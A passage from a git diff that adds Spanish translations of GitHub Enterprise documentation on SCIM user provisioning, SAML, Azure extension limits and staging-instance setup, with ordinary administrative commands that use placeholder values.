{% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users)." + +You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise. + +If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}. + ## Creating a new team connected to an IdP group Any member of an organization can create a new team and connect the team to an IdP group. diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md b/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md new file mode 100644 index 0000000000..f426f508cd --- /dev/null +++ b/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md @@ -0,0 +1,166 @@ +--- +title: Configuración del aprovisionamiento de usuarios con SCIM para la empresa +shortTitle: Configure user provisioning +intro: 'Puedes configurar System for Cross-domain Identity Management (SCIM) para {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, que aprovisiona automáticamente las cuentas de usuario al asignar la aplicación para {% ifversion scim-for-ghes %}tu instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} a un usuario en el proveedor de identidades (IdP).' +permissions: '{% ifversion scim-for-ghes %}Site administrators{% elsif ghae %}Enterprise owners{% endif %} can configure user provisioning for {% ifversion scim-for-ghes %}a {% data variables.product.product_name %} instance{% elsif ghae %}an enterprise on {% data variables.product.product_name %}{% endif %}.' +versions: + ghae: '*' + feature: scim-for-ghes +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +redirect_from: + - /admin/authentication/configuring-user-provisioning-for-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise + - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise +ms.openlocfilehash: c330d8e375522901d2738b581a897d42d30d628e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109920' +--- +{% data reusables.scim.ghes-beta-note %} + +## Acerca del aprovisionamiento de usuarios para {% data variables.product.product_name %} + +{% ifversion ghae %} + +{% data reusables.saml.ae-uses-saml-sso %} Para obtener más información, consulta "[Configuración del inicio de sesión único de SAML para la empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)". + +{% endif %} + +{% ifversion scim-for-ghes %}Si usas el inicio de sesión único (SSO) de SAML para {% data variables.location.product_location %},{% elsif ghae %}Tú{% endif %} puedes configurar SCIM a fin de crear o suspender automáticamente cuentas de usuario y conceder acceso{% ifversion scim-for-ghes %} a la instancia{% elsif ghae %} para {% data variables.product.product_name %}{% endif %} al asignar o anular la asignación de la aplicación en el IdP. Para obtener más información sobre SCIM, consulta [System for Cross-domain Identity Management: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) en el sitio web de IETF. + +Si no configuras el aprovisionamiento de usuarios con SCIM, el IdP no se comunicará con {% data variables.product.product_name %} automáticamente al asignar la aplicación a un usuario o anular su asignación. Sin SCIM, {% data variables.product.product_name %} crea una cuenta de usuario mediante el aprovisionamiento Just-In-Time (JIT) de SAML la primera vez que alguien navega a {% data variables.product.product_name %} e inicia sesión mediante la autenticación a través de su IdP. + +Configurar el aprovisionamiento permite a tu IdP comunicarse con {% data variables.location.product_location %} cuando asignas o anulas la asignación de la aplicación para {% data variables.product.product_name %} a un usuario en tu IdP. Cuando asignas la aplicación, tu IdP pedirá que {% data variables.location.product_location %} cree una cuenta y enviará un correo electrónico de incorporación al usuario. Cuando desasignas la aplicación, tu IdP se comunicará con {% data variables.product.product_name %} para invalidad cualquier sesión de SAML e inhabilitar la cuenta del miembro. + +Para configurar el aprovisionamiento para tu empresa, debes inhabilitar el aprovisionamiento en {% data variables.product.product_name %} y posteriormente instalar y configurar una aplicación de aprovisionamiento en tu IdP. + +{% ifversion scim-for-ghes %} + +La aplicación de aprovisionamiento en tu IdP se comunica con {% data variables.product.product_name %} con la API de SCIM. Para obtener más información, consulta "[SCIM](/rest/enterprise-admin/scim)" en la documentación de la API REST. + +{% endif %} + +## Acerca de las identidades y las notificaciones + +Después de que un administrador de IdP conceda a una persona acceso a {% data variables.location.product_location %}, el usuario puede autenticarse mediante el IdP para acceder a {% data variables.product.product_name %} mediante el inicio de sesión único de SAML. + +Durante la autenticación, {% ifversion scim-for-ghes %}la instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} intenta asociar el usuario con una identidad SAML. De manera predeterminada, {% ifversion scim-for-ghes %}la instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} compara la notificación `NameID` del IdP con el nombre de usuario de la cuenta. {% data variables.product.product_name %} normaliza el valor de `NameID` para la comparación. A fin de obtener más información sobre la normalización del nombre de usuario, consulta "[Consideraciones sobre el nombre de usuario para la autenticación externa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization)". + +Si no hay ningún nombre de usuario coincidente en la instancia, esta crea una cuenta para el usuario. Si hay una cuenta con un nombre de usuario coincidente en la instancia, el usuario inicia sesión en la cuenta.{% ifversion scim-for-ghes %} {% data variables.product.product_name %} compara la notificación del IdP con todas las cuentas de la instancia, independientemente de si estas usan autenticación integrada o ya están asociadas a una identidad SAML.{% endif %} + +{% ifversion scim-for-ghes %} + +Al usar el inicio de sesión único de SAML, un administrador de sitio puede configurar atributos de usuario personalizados para la instancia. Un atributo de nombre de usuario personalizado permitirá que la instancia use un valor del IdP distinto de `NameID`. {% data variables.product.product_name %} respetará esta asignación cuando se configure SCIM. Para obtener más información sobre la asignación de atributos de usuario, consulta "[Configuración del inicio de sesión único de SAML para la empresa](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso)". + +{% endif %} + +Si {% data variables.product.product_name %} identifica correctamente a un usuario del IdP, pero los detalles de la cuenta, como la dirección de correo electrónico, el nombre o el apellido no coinciden, la instancia actualizará los detalles con valores del IdP. + +## Proveedores de identidad compatibles + +Los IdP siguientes admiten el aprovisionamiento de usuarios con SCIM para {% data variables.product.product_name %}. + +{% data reusables.saml.okta-ae-sso-beta %} + +{% data reusables.github-ae.saml-idp-table %} + +{% data reusables.scim.ghes-scim-beta-note %} + +{% data reusables.scim.ghes-scim-idp-table %} + +{% ifversion ghae %} Para los IdP que son compatibles con la asignación de equipos, puedes asignar o anular la asignación de la aplicación de {% data variables.product.product_name %} a los grupos de usuarios en tu IdP. Luego, estos grupos estarán disponibles para que los propietarios de la organización y los mantenedores de equipos en {% data variables.location.product_location %} los asignen a los equipos de {% data variables.product.product_name %}. Para más información, vea "[Asignación de grupos de Okta a equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)". +{% endif %} + +## Requisitos previos + +{% ifversion ghae %} + +- Debes configurar el inicio de sesión único de SAML al inicializar {% data variables.product.product_name %}. Para obtener más información, consulte "[Inicialización de {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)". + +{% elsif scim-for-ghes %} + +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} + +- Debes permitir la autenticación integrada para los usuarios que no tengan una cuenta en el IdP. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)". + +- El IdP debe admitir la realización de llamadas SCIM a un proveedor de servicios (SP). + +{% endif %} + +- Debes tener acceso administrativo en tu IdP para configurar la aplicación para el aprovisionamiento de usuarios para {% data variables.product.product_name %}. + +## Habilitar el aprovisionamiento de usuarios para tu empresa + +{% ifversion scim-for-ghes %} + +Para realizar acciones de aprovisionamiento en la instancia, crearás una cuenta de usuario de máquina dedicada y promoverás la cuenta a un propietario de la empresa. + +Después de habilitar SCIM en una instancia de {% data variables.product.product_name %}, se suspenden todas las cuentas de usuario. Si concedes al usuario acceso a la instancia desde el IdP y este usuario se autentica correctamente, se anulará la suspensión de la cuenta del usuario. + +{% endif %} + +{%- ifversion ghae %} +1. Mientras tengas una sesión iniciada en {% data variables.location.product_location %} como propietario de empresa, crea un {% data variables.product.pat_v1 %} con el ámbito **admin:enterprise**. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)". + {% note %} + + **Notas**: + - A fin de crear el {% data variables.product.pat_generic %}, te recomendamos utilizar la cuenta para el primer propietario empresarial que creaste durante la inicialización. Para obtener más información, consulte "[Inicialización de {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)". + - Necesitarás que este {% data variables.product.pat_generic %} configure la aplicación para SCIM en tu IdP. Almacena el token de manera segura en un administrador de contraseñas hasta que lo necesites nuevamente más adelante en estas instrucciones. + + {% endnote %} {% warning %} + + **Advertencia**: Si la cuenta de usuario para el propietario de la empresa que crea el {% data variables.product.pat_generic %} se desactiva o desaprovisiona, tu IdP ya no aprovisionará ni desaprovisionará cuentas de usuario para la empresa automáticamente. Otro propietario de empresa debe crear un {% data variables.product.pat_generic %} y volver a configurar el aprovisionamiento en el IdP. + + {% endwarning %} {%- elsif scim-for-ghes %} +1. Crea una cuenta de usuario de máquina dedicada para realizar acciones de aprovisionamiento en la instancia. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance)". +1. Promueve la cuenta de usuario dedicada a un propietario de la empresa. Para más información, vea "[Invitación a usuarios a administrar la empresa](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account)". +1. Inicia sesión en la instancia como el nuevo propietario de la empresa. +1. Crea un {% data variables.product.pat_v1 %} con el ámbito **admin:enterprise**. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)". + + {% note %} + + **Nota**: Necesitarás este {% data variables.product.pat_generic %} a fin de probar la configuración de SCIM y configurar la aplicación para SCIM en el IdP. Almacena el token de manera segura en un administrador de contraseñas hasta que lo necesites nuevamente más adelante en estas instrucciones. + + {% endnote %} {% data reusables.enterprise_installation.ssh-into-instance %} +1. Para habilitar SCIM, ejecuta los comandos que proporciona el administrador de cuentas en {% data variables.contact.contact_enterprise_sales %}. +{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} +1. Para validar que SCIM está operativo, ejecuta los comandos siguientes. Reemplaza _PAT FROM STEP 3_ y _YOUR INSTANCE'S HOSTNAME_ por valores reales. + + ```shell + $ GHES_PAT="PAT FROM STEP 3" + $ GHES_HOSTNAME="YOUR INSTANCE'S HOSTNAME" + $ curl --location --request GET 'https://$GHES_HOSTNAME/api/v3/scim/v2/Users' \ + --header 'Content-Type: application/scim' \ + --header 'Authorization: Bearer $GHES_PAT' + ``` + + El comando debe devolver una matriz vacía. +{%- endif %} {%- ifversion ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} +1. En "Aprovisionamiento de usuarios de SCIM", selecciona **Requerir aprovisionamiento de usuarios de SCIM**. + ![Casilla "Requerir aprovisionamiento de usuarios de SCIM" en la configuración de seguridad empresarial](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. Haga clic en **Save**(Guardar). + ![Botón guardar en "Requerir aprovisionamiento de usuarios de SCIM" en la configuración de seguridad empresarial](/assets/images/help/enterprises/settings-scim-save.png) {%- endif %} +1. Configura el aprovisionamiento de usuarios en la aplicación para {% data variables.product.product_name %} en tu IdP. + + {%- ifversion ghae %} Los siguientes IdP proporcionan documentación acerca de cómo configurar el aprovisionamiento para {% data variables.product.product_name %}. Si no se lista tu IdP, por favor, contáctalo para solicitar soporte para {% data variables.product.product_name %}. + {%- elsif scim-for-ghes %} {% data variables.product.company_short %} proporciona documentación para configurar el aprovisionamiento de los siguientes IdP.{% endif %} + + | IdP | Más información | + | :- | :- | + | Azure AD | {% ifversion ghae %}[Tutorial: Configuración de {% data variables.product.prodname_ghe_managed %} para el aprovisionamiento de usuarios automático](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) en Microsoft Docs. {% endif %}A fin de configurar Azure AD para {% data variables.product.product_name %}, consulta "[Configuración de la autenticación y el aprovisionamiento para la empresa mediante Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". | +| Okta | {% ifversion ghae %}(beta){% endif %} A fin de configurar Okta para {% data variables.product.product_name %}, consulta "[Configuración de la autenticación y el aprovisionamiento para la empresa mediante Okta](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)". | + + La aplicación en tu IdP requiere dos valores para aprovisionar o desaprovisionar las cuentas de usuario en {% data variables.location.product_location %}. + + | Value | Otros nombres | Descripción | Ejemplo | + | :- | :- | :- | :- | + | Resolución | URL de inquilino | URL para la API de aprovisionamiento de SCIM para tu empresa en {% data variables.product.prodname_ghe_managed %} | {% data variables.product.api_url_pre %}/scim/v2 | + | Secreto compartido | {% data variables.product.pat_generic_caps %}, token secreto | Toekn para que la aplicación en tu IdP realice las tareas de aprovisionamiento en nombre de un propietario de empresa | {% data variables.product.pat_generic_caps %} que creó en el paso {% ifversion ghae %}1{% elsif scim-for-ghes %}4{% endif %} | diff --git a/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md b/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md index 4f83a024f5..d7918ada27 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md +++ b/translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md @@ -1,7 +1,7 @@ --- -title: Using SAML for enterprise IAM +title: Uso de SAML para IAM empresarial shortTitle: SAML for enterprise IAM -intro: 'You can centrally manage {% ifversion ghes or ghae %}accounts and {% endif %}access to {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise{% elsif ghec %}your enterprise''s resources{% endif %} with SAML single sign-on (SSO){% ifversion ghec or ghae %} and System for Cross-domain Identity Management (SCIM){% endif %}.' +intro: 'Puedes administrar de forma centralizada {% ifversion ghes or ghae %}las cuentas y {% endif %}el acceso a {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}tu empresa{% elsif ghec %} y los recursos de tu empresa{% endif %} con el inicio de sesión único de SAML (SSO){% ifversion ghec or ghae %} y System for Cross-domain Identity Management (SCIM){% endif %}.' versions: ghec: '*' ghes: '*' @@ -32,6 +32,11 @@ children: - /updating-a-users-saml-nameid - /switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - /troubleshooting-saml-authentication +ms.openlocfilehash: 2a843afa6f5447b9048ef2efbd03dee9e9b856d8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107017' --- - {% data reusables.enterprise-accounts.emu-saml-note %} diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md index a23d4e9069..e520b46d14 100644 --- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md +++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md @@ -99,7 +99,15 @@ Before launching {% data variables.location.product_location %} on Azure, you'll {% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} +## Azure extension features + +{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions. + +To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported. + +Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)." + ## Further reading - + - "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} - "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md index 6ae6322477..f5a26ffaf9 100644 --- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md +++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md @@ -1,6 +1,6 @@ --- -title: Setting up a staging instance -intro: 'You can set up a {% data variables.product.product_name %} instance in a separate, isolated environment, and use the instance to validate and test changes.' +title: Configurar una instancia de preparación +intro: 'Se puede configurar una instancia {% data variables.product.product_name %} en un entorno independiente y aislado, y usar la instancia para validar y probar los cambios.' redirect_from: - /enterprise/admin/installation/setting-up-a-staging-instance - /admin/installation/setting-up-a-staging-instance @@ -13,95 +13,99 @@ topics: - Upgrades shortTitle: Set up a staging instance miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: ce7d9dde9f86ea5159657203e13d9d191b6b7466 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106865' --- +## Acerca de las instancias de ensayo -## About staging instances +{% data variables.product.company_short %} recomienda configurar un entorno independiente para probar copias de seguridad, actualizaciones o cambios en la configuración de {% data variables.location.product_location %}. Este entorno, que debes aislar de los sistemas de producción, se llama entorno de ensayo. -{% data variables.product.company_short %} recommends that you set up a separate environment to test backups, updates, or changes to the configuration for {% data variables.location.product_location %}. This environment, which you should isolate from your production systems, is called a staging environment. - -For example, to protect against loss of data, you can regularly validate the backup of your production instance. You can regularly restore the backup of your production data to a separate {% data variables.product.product_name %} instance in a staging environment. On this staging instance, you could also test the upgrade to the latest feature release of {% data variables.product.product_name %}. +Por ejemplo, para protegerte contra la pérdida de datos, puedes validar periódicamente la copia de seguridad de la instancia de producción. Puedes restaurar periódicamente la copia de seguridad de los datos de producción en una instancia independiente de {% data variables.product.product_name %} en un entorno de ensayo. En esta instancia de ensayo también puedes probar la actualización a la versión más reciente de características de {% data variables.product.product_name %}. {% tip %} -**Tip:** You may reuse your existing {% data variables.product.prodname_enterprise %} license file as long as the staging instance is not used in a production capacity. +**Sugerencia:** puedes reutilizar el archivo de licencia existente {% data variables.product.prodname_enterprise %} siempre que la instancia de ensayo no se use en una capacidad de producción. {% endtip %} -## Considerations for a staging environment +## Consideraciones para un entorno de ensayo -To thoroughly test {% data variables.product.product_name %} and recreate an environment that's as similar to your production environment as possible, consider the external systems that interact with your instance. For example, you may want to test the following in your staging environment. +Para probar exhaustivamente {% data variables.product.product_name %} y volver a crear un entorno que sea lo más parecido posible al entorno de producción, ten en cuenta los sistemas externos que interactúan con la instancia. Por ejemplo, puedes probar lo siguiente en el entorno de ensayo. -- Authentication, especially if you use an external authentication provider like SAML -- Integration with an external ticketing system -- Integration with a continuous integration server -- External scripts or software that use the {% data variables.product.prodname_enterprise_api %} -- External SMTP server for email notifications +- Autenticación, especialmente si usas un proveedor de autenticación externo como SAML +- La integración con un sistema externo de vales +- La integración con un servidor de integración continua +- Los scripts externos o el software que usan {% data variables.product.prodname_enterprise_api %} +- El servidor externo SMTP para notificaciones por correo electrónico -## Setting up a staging instance +## Configurar una instancia de preparación -You can set up a staging instance from scratch and configure the instance however you like. For more information, see "[Setting up a {% data variables.product.product_name %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)" and "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)." +Puedes preparar una instancia de almacenamiento provisional desde cero y configurarla instancia como quieras. Para obtener más información, consulta "[Configuración de una instancia de {% data variables.product.product_name %}](/admin/installation/setting-up-a-github-enterprise-server-instance) y "[Configuración de tu empresa](/admin/configuration/configuring-your-enterprise)". -Alternatively, you can create a staging instance that reflects your production configuration by restoring a backup of your production instance to the staging instance. +Como alternativa, puedes crear una instancia de almacenamiento provisional que refleje la configuración de producción, restaurando ara ello una copia de seguridad de la instancia de producción en la instancia de pruebas. -1. [Back up your production instance](#1-back-up-your-production-instance). -2. [Set up a staging instance](#2-set-up-a-staging-instance). -3. [Configure {% data variables.product.prodname_actions %}](#3-configure-github-actions). -4. [Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages). -5. [Restore your production backup](#5-restore-your-production-backup). -6. [Review the instance's configuration](#6-review-the-instances-configuration). -7. [Apply the instance's configuration](#7-apply-the-instances-configuration). +1. [Hacer una copia de seguridad de la instancia de producción](#1-back-up-your-production-instance) +2. [Configurar una instancia de almacenamiento provisional](#2-set-up-a-staging-instance) +3. [Configurar {% data variables.product.prodname_actions %}](#3-configure-github-actions) +4. [Configurar {% data variables.product.prodname_registry %}](#4-configure-github-packages) +5. [Restaurar la copia de seguridad de producción](#5-restore-your-production-backup) +6. [Revisar la configuración de la instancia](#6-review-the-instances-configuration) +7. [Aplicar la configuración de la instancia](#7-apply-the-instances-configuration) -### 1. Back up your production instance +### 1. Hacer una copia de seguridad de la instancia de producción -If you want to test changes on an instance that contains the same data and configuration as your production instance, back up the data and configuration from the production instance using {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." +Si quieres probar los cambios en una instancia que contiene los mismos datos y configuración que la instancia de producción, haz una copia de seguridad de los datos y la configuración de la instancia de producción mediante {% data variables.product.prodname_enterprise_backup_utilities %}. Para más información, vea "[Configuración de copias de seguridad en el dispositivo](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)". {% warning %} -**Warning**: If you use {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} in production, your backup will include your production configuration for external storage. To avoid potential loss of data by writing to your production storage from your staging instance, you must configure each feature in steps 3 and 4 before you restore your backup. +**Advertencia**: Si usas {% data variables.product.prodname_actions %} o {% data variables.product.prodname_registry %} en producción, la copia de seguridad incluirá la configuración de producción del almacenamiento externo. Para evitar una posible pérdida de datos al escribir en el almacenamiento de producción desde la instancia de almacenamiento provisional, debes configurar cada característica en los pasos 3 y 4 antes de restaurar la copia de seguridad. {% endwarning %} -### 2. Set up a staging instance +### 2. Configurar una instancia de almacenamiento provisional -Set up a new instance to act as your staging environment. You can use the same guides for provisioning and installing your staging instance as you did for your production instance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/)." +Configura una nueva instancia para que actúe como tu entorno de preparación. Puedes utilizar las mismas guías para aprovisionar e instalar tu instancia de preparación como hiciste para tu instancia de producción. Para más información, vea "[Configuración de una instancia de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/)". -If you plan to restore a backup of your production instance, continue to the next step. Alternatively, you can configure the instance manually and skip the following steps. +Si tienes previsto restaurar una copia de seguridad de la instancia de producción, avanza al siguiente paso. También puedes configurar la instancia manualmente y omitir los pasos siguientes. -### 3. Configure {% data variables.product.prodname_actions %} +### 3. Configurar {% data variables.product.prodname_actions %} -Optionally, if you use {% data variables.product.prodname_actions %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_actions %}, skip to "[4. Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages)." +Opcionalmente, si usas {% data variables.product.prodname_actions %} en la instancia de producción, configura la característica en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción. Si no usas {% data variables.product.prodname_actions %}, ve directamente a "[4. Configurar {% data variables.product.prodname_registry %}](#4-configure-github-packages)." {% warning %} -**Warning**: If you don't configure {% data variables.product.prodname_actions %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. For more information, see "[Using a staging environment](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)." +**Advertencia**: Si no configuras {% data variables.product.prodname_actions %} en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción, la instancia de almacenamiento provisional usará el almacenamiento externo de la instancia de producción, lo que podría suponer una pérdida de datos. Se recomienda encarecidamente usar un almacenamiento externo distinto para la instancia de almacenamiento provisional. Para obtener más información, consulta «[Uso de un entorno de ensayo](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)». {% endwarning %} {% data reusables.enterprise_installation.ssh-into-staging-instance %} -1. To configure the staging instance to use an external storage provider for {% data variables.product.prodname_actions %}, enter one of the following commands. -{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} -{% data reusables.actions.configure-storage-provider %} -1. To prepare to enable {% data variables.product.prodname_actions %} on the staging instance, enter the following command. +1. Escribe uno de los siguientes comandos para configurar la instancia de almacenamiento provisional para que use un proveedor de almacenamiento externo de {% data variables.product.prodname_actions %}. +{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} {% data reusables.actions.configure-storage-provider %} +1. Escribe el siguiente comando para prepararlo todo para habilitar {% data variables.product.prodname_actions %} en la instancia de almacenamiento provisional. ```shell{:copy} ghe-config app.actions.enabled true ``` -### 4. Configure {% data variables.product.prodname_registry %} +### 4. Configurar {% data variables.product.prodname_registry %} -Optionally, if you use {% data variables.product.prodname_registry %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_registry %}, skip to "[5. Restore your production backup](#5-restore-your-production-backup)." +Opcionalmente, si usas {% data variables.product.prodname_registry %} en la instancia de producción, configura la característica en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción. Si no usas {% data variables.product.prodname_registry %}, ve a "[5. Restaurar la copia de seguridad de producción](#5-restore-your-production-backup)". {% warning %} -**Warning**: If you don't configure {% data variables.product.prodname_registry %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. +**Advertencia**: Si no configuras {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción, la instancia de almacenamiento provisional usará el almacenamiento externo de la instancia de producción, lo que podría suponer una pérdida de datos. Se recomienda encarecidamente usar un almacenamiento externo distinto para la instancia de almacenamiento provisional. {% endwarning %} -1. Review the backup you will restore to the staging instance. - - If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 or later, the backup includes the configuration for {% data variables.product.prodname_registry %}. Continue to the next step. - - If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 or earlier, configure {% data variables.product.prodname_registry %} on the staging instance. For more information, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." +1. Revisa la copia de seguridad que vas a restaurar en la instancia de almacenamiento provisional. + - Si has hecho la copia de seguridad con {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 o una versión posterior, la copia de seguridad incluye la configuración de {% data variables.product.prodname_registry %}. Continúe con el paso siguiente. + - Si has hecho la copia de seguridad con {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 o una versión anterior, configura {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional. Para obtener más información, consulta "[Introducción a {% data variables.product.prodname_registry %} para tu empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)". {% data reusables.enterprise_installation.ssh-into-staging-instance %} -1. Configure the external storage connection by entering the following commands, replacing the placeholder values with actual values for your connection. +1. Configura la conexión de almacenamiento externo con los comandos siguientes, reemplazando los valores de marcador de posición por los valores reales de la conexión. - Azure Blob Storage: ```shell{:copy} @@ -118,40 +122,40 @@ Optionally, if you use {% data variables.product.prodname_registry %} on your pr ghe-config secrets.packages.aws-access-key "S3 ACCESS KEY ID" ghe-config secrets.packages.aws-secret-key "S3 ACCESS SECRET" ``` -1. To prepare to enable {% data variables.product.prodname_registry %} on the staging instance, enter the following command. +1. Escribe el siguiente comando para prepararlo todo para habilitar {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional. ```shell{:copy} ghe-config app.packages.enabled true ``` -### 5. Restore your production backup +### 5. Restaurar la copia de seguridad de producción -Use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)." +Usa el comando `ghe-restore` para restaurar el resto de los datos de la copia de seguridad. Para más información, vea "[Restauración de una copia de seguridad](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)". -If the staging instance is already configured and you want to overwrite settings, certificate, and 